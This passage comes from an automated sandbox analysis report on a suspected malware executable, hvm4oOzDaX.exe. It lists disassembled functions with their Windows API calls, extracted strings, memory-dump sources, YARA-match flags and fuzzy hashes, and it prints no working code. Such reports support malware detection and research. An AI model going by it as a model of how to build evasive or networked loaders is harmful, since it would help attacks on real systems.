Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\hvm4oOzDaX.exe
API String ID: 0-2466851316
Opcode ID: ddfca3805b10fb0c405c12195d97b130fb222a2330a05fb996068ff6147a541c
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: ddfca3805b10fb0c405c12195d97b130fb222a2330a05fb996068ff6147a541c
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 04B66383 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\hvm4oOzDaX.exe, xrefs: 04B66388

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\hvm4oOzDaX.exe
API String ID: 0-2466851316
Opcode ID: 93954dfdee92f46bb96adc8c87a9eb3aaf0f63e636dd7cac714efb5796973790
Instruction ID: 20d8bfed093e877acf24d1604739c063d5bc26a8a21b0f918cd9d06d16735a23
Opcode Fuzzy Hash: 93954dfdee92f46bb96adc8c87a9eb3aaf0f63e636dd7cac714efb5796973790
Instruction Fuzzy Hash: 0521C6B2600205BFEB20AF6A9C81D7BB7ADEF442A87108594FD2BD7150E735FC4187A1

Function 0040BE17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0040BED8,?,?,0042B000,00000000,?,0040C003,00000004,InitializeCriticalSectionEx,0041EAF4,InitializeCriticalSectionEx,00000000), ref: 0040BEA7

Strings

api-ms-, xrefs: 0040BE67

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction ID: 1d2ba87bd7351691bab4046b775a4f225d6c09ed93031ba1482b23a36008251d
Opcode Fuzzy Hash: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction Fuzzy Hash: 1B11C135A41620ABCB228B68DC45BDA7794EF02760F114632EE05B73C0D778EC058ADD

Function 0040EF4F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0040EF44,?,?,0040EF0C,00000000,7622DF80,?), ref: 0040EF64
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040EF77
FreeLibrary.KERNEL32(00000000,?,?,0040EF44,?,?,0040EF0C,00000000,7622DF80,?), ref: 0040EF9A

Strings

CorExitProcess, xrefs: 0040EF6F
mscoree.dll, xrefs: 0040EF5D

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 607d73432645c26095c79918e0b94193a9778d3018f0e4e6e685341166a2a245
Instruction ID: a9aeb9bb373945a448fb4c2f2a76f55d061337ba3b70deabe2e5838c542f66b1
Opcode Fuzzy Hash: 607d73432645c26095c79918e0b94193a9778d3018f0e4e6e685341166a2a245
Instruction Fuzzy Hash: E0F0A070A0421AFBCB119B52ED09BDEBF78EF00759F144071F905B21A0CB788E11DB98

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

mscoree.dll, xrefs: 10005FB8
CorExitProcess, xrefs: 10005FCA

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 8cc199d558b997503fdcee74a17b35d0cfef9a10842a3a6720ec3a40d10b29e0
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 8cc199d558b997503fdcee74a17b35d0cfef9a10842a3a6720ec3a40d10b29e0
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 04D02AA0 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04D02B24
__alloca_probe_16.LIBCMT ref: 04D02BEA
__freea.LIBCMT ref: 04D02C56
__freea.LIBCMT ref: 04D02C5F
__freea.LIBCMT ref: 04D02C82

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: 378295b6f49c7a1482985147ff9c11c2e1bf4f3a81760b0e32bf93aa04d95b4b
Instruction ID: 7078b575cb70d1788cb53d15e2d783d1a5897dafc2c62b17d3425db1a5964cda
Opcode Fuzzy Hash: 378295b6f49c7a1482985147ff9c11c2e1bf4f3a81760b0e32bf93aa04d95b4b
Instruction Fuzzy Hash: 1D510472601216AFEF209F608C89FBB37A9EF84354F1981A9FD04E7180E735FC5196A4

Function 004136A0 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00413724
__alloca_probe_16.LIBCMT ref: 004137EA
__freea.LIBCMT ref: 00413856

Part of subcall function 0041249E: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004124D0

__freea.LIBCMT ref: 0041385F
__freea.LIBCMT ref: 00413882

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 108019662ccab921f27eff110a88a80a1d8b3600edd5f6f257505aea3f790572
Instruction ID: 356f55c8d52bf468307c9bd9aee3ed648f54657124d7a114e97aef17e3d97ec8
Opcode Fuzzy Hash: 108019662ccab921f27eff110a88a80a1d8b3600edd5f6f257505aea3f790572
Instruction Fuzzy Hash: 6151D3B2600206ABEF20AF55CC41EEB36E9EF44755F15412EFD18E7290D738DE9186A8

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: e63f2a8978e00137fdd1d9a780ebd3875915c182c7a46276be8a26015b9944ff
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: e63f2a8978e00137fdd1d9a780ebd3875915c182c7a46276be8a26015b9944ff
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 04B52BB7 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B52C5F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04B52C74
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04B52C82
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04B52C9D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04B52CBC

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 98a23b1f51539c79b15504070a912fe8a1d772cf35a21b11453b2abeaae28325
Instruction ID: 4fc65d6fc8a03ccf041c994ef5565c75c86e65851c9642f631fa0b0619b67ef5
Opcode Fuzzy Hash: 98a23b1f51539c79b15504070a912fe8a1d772cf35a21b11453b2abeaae28325
Instruction Fuzzy Hash: 59312471B01014AFDB08EF68DC40FAAB778EF48304F0541E9ED05EB262CB31A912CB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 04D063E1 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04D063F9
_free.LIBCMT ref: 04D0640B
_free.LIBCMT ref: 04D0641D
_free.LIBCMT ref: 04D0642F
_free.LIBCMT ref: 04D06441

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction ID: 54cec943bd09dcb00d1e415c4998b77d12b3387c5f97587b3f5c2d953b93fd55
Opcode Fuzzy Hash: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction Fuzzy Hash: 48F06272705210B78725DF5CF886F2673D9FB00720BA4C819F508E7582CB35F8A28665

Function 00416FE1 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00416FF9

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 0041700B
_free.LIBCMT ref: 0041701D
_free.LIBCMT ref: 0041702F
_free.LIBCMT ref: 00417041

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e9905c8b19ab3d426ab646f49b16c807e4d2b9b7b2a9eaa828597b4964810506
Instruction ID: 1bbc7c59558bdb80d40cd5d769ae83ba842cf1fe79b15496f27bd1d3c69b9f62
Opcode Fuzzy Hash: e9905c8b19ab3d426ab646f49b16c807e4d2b9b7b2a9eaa828597b4964810506
Instruction Fuzzy Hash: 2AF04432705240678534DB5DE486D967BE9AF44760758481BF508D7A12D73CFCD0465C

Function 1000C51E Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 1000C536

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 1000C548
_free.LIBCMT ref: 1000C55A
_free.LIBCMT ref: 1000C56C
_free.LIBCMT ref: 1000C57E

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5af9cd1d934eff50961f68469d6981d65bd4349cdb7ac1437da5aad4e87a5e75
Instruction ID: 9141c028a1f6e8267eca5b553c4c44ea57822cd8596d4ab818939ac7a44c1903
Opcode Fuzzy Hash: 5af9cd1d934eff50961f68469d6981d65bd4349cdb7ac1437da5aad4e87a5e75
Instruction Fuzzy Hash: BEF0E739A046289BE650DB68ECC2C1A73D9FB456E17608805F448E7699CB34FFC08AA4

Function 04B67248 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 04B67260

Part of subcall function 04B61D29: HeapFree.KERNEL32(00000000,00000000,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?), ref: 04B61D3F
Part of subcall function 04B61D29: GetLastError.KERNEL32(?,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?,?), ref: 04B61D51

_free.LIBCMT ref: 04B67272
_free.LIBCMT ref: 04B67284
_free.LIBCMT ref: 04B67296
_free.LIBCMT ref: 04B672A8

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction ID: 3bd1fd97e653c7c93c176adc087a0a1db0c57e468ce2c75ad3a020cf4e7c3569
Opcode Fuzzy Hash: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction Fuzzy Hash: 86F06232614214BB8A34EB6CF986C2673EDFB01724BA40895F51AD7504CF3CFC914A64

Function 04B558D0 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 476COMMON

Download Yara Rule

Strings

rB, xrefs: 04B559EE
O*, xrefs: 04B55A5F
rB, xrefs: 04B56527

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID: O*$rB$rB
API String ID: 0-546290271
Opcode ID: f523bc33ae5dcf39d7c7f9cffc68d396c9ac6c1ced86010178b4c982eee15dc0
Instruction ID: 99cb01f746eb7b7e86607f816457fd652bf91f34b7f8d3e344da72a93b4e844a
Opcode Fuzzy Hash: f523bc33ae5dcf39d7c7f9cffc68d396c9ac6c1ced86010178b4c982eee15dc0
Instruction Fuzzy Hash: 1A12CF71D012489BEB19EBB8DC54BEEF774AF54308F5080E8D805671A1EB34BA49CFA1

Function 04B5516B Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B551B2

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Sleep.KERNEL32(000007D0), ref: 04B5552A
Sleep.KERNEL32(000007D0), ref: 04B55544

Strings

updateSW, xrefs: 04B5544F

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep$Init_thread_footer
String ID: updateSW
API String ID: 500923978-2484434887
Opcode ID: a48b40eb8ce9b0f2e770e20945fe188cfd2cc4dc723a840eb928d6538466b87f
Instruction ID: dcf0138a4b6712d066d61a73c1751368042895238e92c1c8cd299839a1203e44
Opcode Fuzzy Hash: a48b40eb8ce9b0f2e770e20945fe188cfd2cc4dc723a840eb928d6538466b87f
Instruction Fuzzy Hash: F9D1D671A001649BEB29EB28CC8879DF771EF81309F5441E9DC096B2A5DB75AEC4CF81

Function 10007CBA Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 10007E54

Strings

*?, xrefs: 10007CFD

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 5cf7f851aaec087829ec43eeaab6f60b67ed4c75ee81a41c35adb74eb9a8a420
Instruction ID: 7b94f7270babd41a129a228fbe6cecbdc5f775369f8c1ab1d48f9322781d5c4e
Opcode Fuzzy Hash: 5cf7f851aaec087829ec43eeaab6f60b67ed4c75ee81a41c35adb74eb9a8a420
Instruction Fuzzy Hash: 0C614175D0021A9FEB14CFA9C8815EDFBF5FF48390B2581AAE809F7344D675AE418B90

Function 10004F12 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,10004EC3,00000000,?,00000001,?,?,?,10004FB2,00000001,FlsFree,10011CC0,FlsFree), ref: 10004F1F
GetLastError.KERNEL32(?,10004EC3,00000000,?,00000001,?,?,?,10004FB2,00000001,FlsFree,10011CC0,FlsFree,00000000,?,10003ECF), ref: 10004F29
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 10004F51

Strings

api-ms-, xrefs: 10004F36

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 194d23d78a7530926df8253abc19602fce8fc6649c780d967afcd7dccf04e9f6
Instruction ID: 9caaa85424732638a533447db036373c94518d46a1d9f65793ecca3e1a8de25d
Opcode Fuzzy Hash: 194d23d78a7530926df8253abc19602fce8fc6649c780d967afcd7dccf04e9f6
Instruction Fuzzy Hash: 19E01274644245B6FB155B60DC45F993B95DB047D0F118030FA0CA80E5DBB1E99599C9

Function 04D01C22 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04D01CA9

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction ID: 69c86d9ac2cbcabf67793ed5a3a3d409a27c6f7a9974910ead7e1ab8c51a9ea7
Opcode Fuzzy Hash: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction Fuzzy Hash: 48B12532A002469FEB21CF28C8807EEBBF5FF55344F14C56AD8559B381E636A942CB60

Function 00412822 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004128A9

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ea5dc4856b585dd579de17702f7f9642f7d44acf4acc8e31691820c31d006a79
Instruction ID: 6012ccbf35aa319517377e765832e55e269021952583a9b626e33c473f35baf7
Opcode Fuzzy Hash: ea5dc4856b585dd579de17702f7f9642f7d44acf4acc8e31691820c31d006a79
Instruction Fuzzy Hash: A6B13571A002459FDB25CF68CA817EEBBE1EF55340F14816BD845EB341D2BC9992CB68

Function 04B62A89 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04B62B10

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction ID: 2b89a8f42461ff02cd40fdb1c34544fcbc341af2e816b3d3e60f3ff1d9a816d3
Opcode Fuzzy Hash: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction Fuzzy Hash: 2AB10632E042569FFB19EF28C881BBEBBF5EF45344F1445E9D8569B281D63CA901CB60

Function 04B51AE7 Relevance: 6.3, APIs: 4, Instructions: 298networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04B51B6C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04B51B8B

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: f9ec063c9d2e41b3af08dc7f95bc4ff4171d8ea44204e87ef2b2e3f71c5be050
Instruction ID: 8dc5865511a4316386b6f13be5d59717194a85531fbc1b293327a91944b0f5cd
Opcode Fuzzy Hash: f9ec063c9d2e41b3af08dc7f95bc4ff4171d8ea44204e87ef2b2e3f71c5be050
Instruction Fuzzy Hash: C8C15A70A002189FEB25DF28CD84BEAF7B5FB49704F1045D8E909A76A0DB75BA84CF50

Function 04CFA284 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04CFA34B
___AdjustPointer.LIBCMT ref: 04CFA36E
___AdjustPointer.LIBCMT ref: 04CFA40A

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

